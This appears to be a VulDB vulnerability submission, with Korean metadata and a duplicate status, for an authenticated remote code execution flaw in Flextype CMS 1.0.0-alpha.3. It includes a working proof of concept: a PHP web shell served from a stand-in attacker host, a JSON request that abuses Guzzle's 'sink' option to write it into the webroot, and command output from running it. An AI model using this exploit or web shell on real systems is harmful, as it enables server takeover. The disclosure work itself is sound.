제출 #1026950: Flextype Flextype CMS 1.0.0-alpha.3 Authenticated Remote Code Execution (RCE) via Arbitrary File Wri

# Flextype `fetch()` — Guzzle `sink` RCE

**Severity:** Critical
**Type:** Authenticated Arbitrary File Write → RCE
**CWE:** CWE-73, CWE-434, CWE-94, CWE-918, CWE-862

## Summary

`fetch()` passes attacker-controlled `$options` directly into Guzzle. Guzzle’s `sink` option writes the HTTP response body to an arbitrary path. Attacker controls URL + body + path → arbitrary file write → RCE.

## Vulnerable Code

`src/flextype/helpers/fetch.php:78-88`

```php
$response = $client->send($request, $options); // $options used as REQUEST options
```

Guzzle `StreamHandler::createSink():301`

```php
// string $options['sink'] opened as file for writing
// response body streamed into it
```

## Reachability

- `POST /api/v1/query` via `fetch(...)` expression
- Stored `fetch` shortcode (`FetchShortcode.php:43-46`, `parse_str` no allowlist)
- Shortcodes enabled globally by default
- `validateApiRequest()` has no scope model — any valid token pair reaches the endpoint

## PoC

Attacker host returns:

```php
<?php echo '<?php echo shell_exec($_GET["c"]); ?>';
```

Request:

```http
POST /api/v1/query
```

```json
{
"token": "<token>",
"access_token": "<secret>",
"query": {
"v": "fetch(\"http://attacker.example/p\", {\"sink\":\"/var/www/html/rce_proof.php\"})"
}
}
```

Result:

```bash
$ cat /var/www/html/rce_proof.php
<?php echo shell_exec($_GET["c"]); ?>

$ curl "http://localhost/rce_proof.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Impact

- Arbitrary command execution as web user
- One authenticated request
- No stored payload or user interaction
- Works even if webroot is read-only: write to `project/plugins/` or overwrite `project/config/flextype/settings.yaml`
- Low-privileged integration token is sufficient

• 원천: ⚠️ https://gist.github.com/stoic-crawler/f30059336e08dda174faa309320760d7
• 사용자: silverdragon (UID 101041)
• 제출: 2026. 10. 13. AM 03:04 (25 날 ago)
• 모더레이션: 2026. 11. 04. PM 07:17 (23 days later)
• 상태: 중복
• VulDB 항목: 396879 [Flextype 까지 1.0.0-dev Symfony ExpressionLanguage Engine /api/v1/query 권한 상승]
• 포인트들: 0